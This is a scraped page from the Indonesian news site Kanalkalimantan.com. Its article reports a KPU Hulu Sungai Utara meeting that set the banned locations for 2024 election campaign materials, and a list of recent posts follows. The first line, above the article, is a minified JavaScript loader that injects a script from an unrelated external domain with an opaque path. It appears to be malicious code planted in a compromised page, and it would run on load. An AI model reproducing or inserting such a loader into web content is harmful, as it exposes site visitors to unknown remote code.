(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Dibahas Bersama, Ini Titik Lokasi Terlarang Alat Peraga Kampanye di HSU


KANALKALIMANTAN.COM, AMUNTAI – MlTahapan kampanye Pemilihan Umum (Pemilu) 2024 terus berjalan, Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai tentukan titik lokasi pemasangan Alat Peraga Kampanye (APK) yang sesuai dengan peraturan Perundang-undangan.

Penentuan itu disampaikan KPU HSU dalam rapat koordinasi bersama Pemerintah Kabupaten HSU, Forkopimda dan stakeholder terkait lainnya, di aula Mess Negara Dipa, Kamis (9/11/2023).

“Sesuai dengan peraturan Perundang-undangan dalam menyusun dan membuat surat keputusan nantinya, saya berharap hasil dari rapat koordinasi ini dapat menyamakan persepsi dan pemahaman di antara KPU, Bawaslu, Forkopimda dan stakeholder terkait dalam pemasangan APK yang sesuai pada tempatnya,” kata Pelaksana Harian (Plh) Ketua KPU HSU Muhammad Noor.

Baca juga: Lima Gubernur Bahas IKN, Samakan Persepsi Konektivitas Infrastruktur Terintegrasi

Sementara itu, Ketua Divisi Sosialisasi Pendidikan Pemilih, Partisipasi Masyarakat, dan SDM, KPU HSU, Emmy Najmiati, menyebutkan bahwa dari hasil rakor KPU meminta saran dan masukan dari seluruh pihak terkait dalam menentukan titik APK.

“Penentuan titik APK ini nantinya akan berimbas pada jalannya kampanye, sehingga kampanye itu dapat berjalan dengan kondusif, tidak ada bahan atau APK yang dipasang pada tempat yang bukan seharusnya,” tambahnya.

Baca juga: Jalan Banjarbaru-Batulicin Sambung ke Balangan Konektivitas Menuju IKN

Emmy mengimbau kepada masyarakat agar ikut berpartisipasi dalam tahapan kampanye dan jangan sampai keluar dari aturan yang seharusnya.

Berdasarkan ketentuan, tempat atau lokasi pemasangan APK yang tidak diperbolehkan antara lain adalah tempat ibadah termasuk halamannya, rumah sakit atau tempat pelayanan kesehatan, gedung halaman kantor milik pemerintah, lembaga pendidikan (gedung dan sekolah).

Baca juga: Unit Reskrim Polsek Pengaron Amankan Pelaku Pencurian Motor di Mangkauk, Begini Kronologinya

Beberapa fasilitas publik terlarang APK di Kabupaten HSU seperti jembatan yang ada di Jalan A Yani, Jalan Norman Umar, Jalan Abdul Aziz dan Jalan Basuki Rahmat (tempat wilayah Pemda), rambu-rambu lalu lintas, tiang listrik penerangan jalan, pohon- pohon, pos-pos ronda, pekuburan, serta fasilitas umum dan fasilitas sosial.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

14 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

18 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

20 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

22 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

22 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

24 jam ago

This website uses cookies.